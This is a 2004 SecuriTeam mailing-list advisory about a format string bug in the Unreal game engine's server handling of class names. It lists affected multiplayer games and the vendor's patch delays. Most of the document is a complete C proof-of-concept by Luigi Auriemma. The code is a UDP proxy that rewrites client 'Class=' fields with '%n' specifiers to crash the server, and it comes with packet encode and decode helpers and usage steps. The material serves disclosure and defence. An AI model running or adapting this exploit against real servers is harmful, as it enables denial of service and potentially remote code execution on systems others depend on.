[NEWS] Format String Vulnerability in EpicGames Unreal Engine
From: SecuriTeam (support_at_securiteam.com)
Date: 03/10/04
- Previous message: SecuriTeam: "[EXPL] Nortel Networks Wireless LAN Access Point 2200 DoS"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 10 Mar 2004 18:52:16 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Format String Vulnerability in EpicGames Unreal Engine
------------------------------------------------------------------------
SUMMARY
The Unreal engine is the famous game engine developed by
<http://www.epicgames.com> EpicGames and used by a wide number of games. A
vulnerability in the EpicGame's engine (server side) allows a user to send
a special class name (name of an object) causing the server to execute
arbitrary code (via a format string vulnerability).
DETAILS
Vulnerable Systems:
* America's Army
* DeusEx
* Devastation
* Magic Battlegrounds
* Mobile Forces
* Nerf Arena Blast
* Postal 2
* Rainbow Six: Raven Shield
* Rune
* Sephiroth: 3rd episode the Crusade
* Star Trek: Klingon Honor Guard
* Tactical Ops
* TNN Pro Hunter
* Unreal 1
* Unreal II XMP
* Unreal Tournament
* Unreal Tournament 2003
* Wheel of Time
* X-com Enforcer
* XIII
( the list contains all the Unreal based games with multiplayer support
released until now )
The problem is a format string bug in the Classes management. Each time a
client connects to a server it sends the names of the objects it uses
(called classes).
If an attacker uses a class name containing format parameters (as %n, %s
and so on) he will be able to crash or also to execute malicious code on
the remote server.
Fix:
This bug was reported to EpicGames on the 2th September 2003 (6 months
ago) but at the beginning it was underrated and was taken a bit more
seriously only in November. All the developers of the vulnerable games
have been alerted by EpicGames through their internal mailing-list.
About UT and UT2003:
EpicGames refused to release a quick-fix for UnrealTournament and
UnrealTournament 2003 so the fix was inserted in the planned patch as they
do for graphic bugs and other small problems... the patch has not been
released yet and is impossible to know when it will be ready.
Exploit:
This proof-of-concept is a proxy server able to modify the Unreal packets
in real-time allowing the insertion of "%n" into the class names sent by
the client to the server causing the remote crash. It should be compatible
with any game based on the Unreal engine and requires the same game
running on the server to be used.
/*
by Luigi Auriemma
UNIX & WIN VERSION - http://aluigi.altervista.org/poc/unrfs-poc.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "unrealdec.h"
#include "unrealenc.h"
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
DWORD tid1;
HANDLE thandle;
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <pthread.h>
pthread_t tid1;
int thandle;
#endif
#define VER "0.1"
#define PORT 7777
#define BUFFSZ 2048
#ifdef WIN32
static DWORD WINAPI ctos(void *null);
#else
static void *ctos(void *null);
#endif
u_long resolv(char *host);
void std_err(void);
int sd1,
sd2;
struct sockaddr_in peer1,
peer2;
int main(int argc, char *argv[]) {
int len,
psz = sizeof(peer1),
on = 1,
i;
u_char *buff;
u_short lport = PORT,
dport = PORT;
fd_set fd_read;
setbuf(stdout, NULL);
fputs("\n"
"Unreal engine format string bug proof-of-concept "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s [options] <Unreal_server>\n"
"\n"
"Options:\n"
"-l PORT port to bind (%d)\n"
"-d PORT port of the remote server (%d)\n"
"\n"
"How to use this proof-of-concept:\n"
"1) Run this tool using the hostname or the IP of the server
you wanna test\n"
"2) Launch a game that uses the Unreal engine (the same of the
server!)\n"
"3) You must be able to connect to yourself (this proxy)\n"
" Usually you must go in the \"Open site\" option of the
multiplayer menu\n"
" inserting the IP 127.0.0.1\n"
"4) If the server is vulnerable it will crash immediately\n"
"\n", argv[0], PORT, PORT);
exit(1);
}
argc--;
for(i = 1; i < argc; i++) {
switch(argv[i][1]) {
case 'l': lport = atoi(argv[++i]); break;
case 'd': dport = atoi(argv[++i]); break;
default: {
printf("\nError: wrong command-line argument (%s)\n",
argv[i]);
exit(1);
} break;
}
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
/* 1 = client */
/* 2 = server */
peer1.sin_addr.s_addr = INADDR_ANY; /* listen for client */
peer1.sin_port = htons(lport);
peer1.sin_family = AF_INET;
peer2.sin_addr.s_addr = resolv(argv[argc]); /* connect to server */
peer2.sin_port = htons(dport);
peer2.sin_family = AF_INET;
sd1 = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd1 < 0) std_err();
sd2 = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd2 < 0) std_err();
printf("\n"
"Server: %s:%hu\n"
"Binding UDP port %u\n"
"\n",
inet_ntoa(peer2.sin_addr),
dport,
lport);
if(setsockopt(sd1, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
if(bind(sd1, (struct sockaddr *)&peer1, psz)
< 0) std_err();
/* waiting first packet! */
fputs("Waiting first packet to start proxy... ", stdout);
FD_ZERO(&fd_read);
FD_SET(sd1, &fd_read);
if(select(sd1 + 1, &fd_read, NULL, NULL, NULL)
< 0) std_err();
fputs("let's go\n", stdout);
/* CLIENT --> SERVER (thread) */
#ifdef WIN32
thandle = CreateThread(NULL, 0, ctos, 0, 0, &tid1);
if(!thandle) {
#else
thandle= pthread_create(&tid1, NULL, ctos, NULL);
if(thandle) {
#endif
fputs("\nError: Cannot create the thread\n", stdout);
exit(1);
}
/* SERVER --> CLIENT */
buff = malloc(BUFFSZ);
if(!buff) std_err();
fputs("Server -> Client (active)\n", stdout);
while(1) {
len = recvfrom(sd2, buff, BUFFSZ, 0, (struct sockaddr *)&peer2,
&psz);
if(len < 0) std_err();
if(sendto(sd1, buff, len, 0, (struct sockaddr *)&peer1, psz)
< 0) std_err();
}
return(0);
}
#ifdef WIN32
static DWORD WINAPI ctos(void *null) {
#else
static void *ctos(void *null) {
#endif
int i,
len,
psz = sizeof(peer1);
u_char *buff,
*ptr,
ecx;
buff = malloc(BUFFSZ + 1);
if(!buff) std_err();
fputs("Client -> Server (active)\n", stdout);
while(1) {
len = recvfrom(sd1, buff, BUFFSZ, 0, (struct sockaddr *)&peer1,
&psz);
if(len < 0) std_err();
if(*buff < 8) {
/* experimental Unreal engine packets decoding */
ecx = unrealdec(buff, len);
/********************/
/* BUG EXPLOITATION */
/********************/
ptr = buff;
for(i = 0; i < len; i++, ptr++) {
if(!memcmp(ptr, "Class=", 6)) {
printf("\n"
"Format string bug exploited (check the server)\n"
"Details:\n"
" from: \"%s\"\n", ptr);
memcpy(ptr + 6, "%n%n%n.", 7);
printf(" to: \"%s\"\n", ptr);
/* we could break here but I want to check other
Classes */
//break;
}
}
/*************************/
/* EXPLOITATION FINISHED */
/*************************/
/* experimental Unreal engine packets encoding */
unrealenc(buff, len, ecx);
}
if(sendto(sd2, buff, len, 0, (struct sockaddr *)&peer2, psz)
< 0) std_err();
}
free(buff);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
unrealenc.h:
/*
UNREALENC.H 0.1
by Luigi Auriemma
e-mail: aluigi@altervista.org
web: http://aluigi.altervista.org
data = packet
size = length of the packet
ecx = ecx value to use for the encoding (the decoding function gives you
this value as return value)
In packets major than 0x12, the latest byte is not exact!
If for example the latest byte should be 0x17, with the algorithm
it will be 0x07.
I suggest you to use the encoding only with packets that have the
first byte minor than 0x12.
EXPERIMENTAL!!!
THIS IS NOT THE REAL/COMPLETE ALGORITHM BUT IT IS A WORK-AROUND
THAT GIVES A RESULT SIMILAR TO THE REAL ALGORITHM!
This source is covered by GNU/GPL
*/
void unrealenc(unsigned char *data, int size, unsigned char ecx) {
unsigned long eax = 0,
ebx,
i;
int wa = 0; /* another work-around */
data[size] = 0x00; /* I think it is better, attention with your buff
*/
if(data[size - 1] != 0x00) wa = 1;
for(i = 0; i <= size; i++, data++) {
ebx = *data;
ebx <<= ecx;
ebx += eax;
ebx >>= 8;
eax = ebx;
if(!i) continue;
*(data - 1) = ebx;
}
if(wa) {
return; /* the latest byte should be wrong */
} else {
data -= 2;
switch(ecx) {
case 0xa: *data = 0x04; break;
case 0xb: *data = 0x08; break;
case 0xc: *data = 0x10; break;
case 0xd: *data = 0x20; break;
case 0xe: *data = 0x40; break;
case 0xf: *data = 0x80; break;
default: break;
}
}
}
unrealdec:
/*
UNREALDEC.H 0.1
by Luigi Auriemma
e-mail: aluigi@altervista.org
web: http://aluigi.altervista.org
Arguments:
- data = the encoded packet
- size = the total length of the packet
Return value:
- ECX value for the encoding
after the function, data will contain the decoded buffer
EXPERIMENTAL!!!
THIS IS NOT THE REAL/COMPLETE ALGORITHM BUT IT IS A WORK-AROUND
THAT GIVES A RESULT SIMILAR TO THE REAL ALGORITHM!
This source is covered by GNU/GPL
*/
unsigned char unrealdec(unsigned char *data, int size) {
unsigned long eax = 0,
ebx,
i;
unsigned char ecx,
ecxe;
/* seems that my old workaround about last NULL byte can be
applied */
/* only to packets with packet number minor than 0x12 */
if(*data < 0x12) {
switch(data[size - 1]) {
case 0x80: ecx = 0x9; break;
case 0x40: ecx = 0xa; break;
case 0x20: ecx = 0xb; break;
case 0x10: ecx = 0xc; break;
case 0x08: ecx = 0xd; break;
case 0x04: ecx = 0xe; break;
default: ecx = 0xc; break;
/* seems that ecx = 0xc for the other packets */
}
} else ecx = 0xc;
/* ECX for encoding */
switch(ecx) {
case 0xe: ecxe = 0xa; break;
case 0xd: ecxe = 0xb; break;
case 0xc: ecxe = 0xc; break;
case 0xb: ecxe = 0xd; break;
case 0xa: ecxe = 0xe; break;
case 0x9: ecxe = 0xf; break;
default: ecxe = 0xc; break;
}
for(i = 0; i < size; i++, data++) {
ebx = *data;
ebx <<= ecx;
ebx += eax;
ebx >>= 8;
eax = ebx;
*data = ebx;
}
return(ecxe);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@altervista.org> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/unrfs-adv.txt>
http://aluigi.altervista.org/adv/unrfs-adv.txt
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[EXPL] Nortel Networks Wireless LAN Access Point 2200 DoS"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|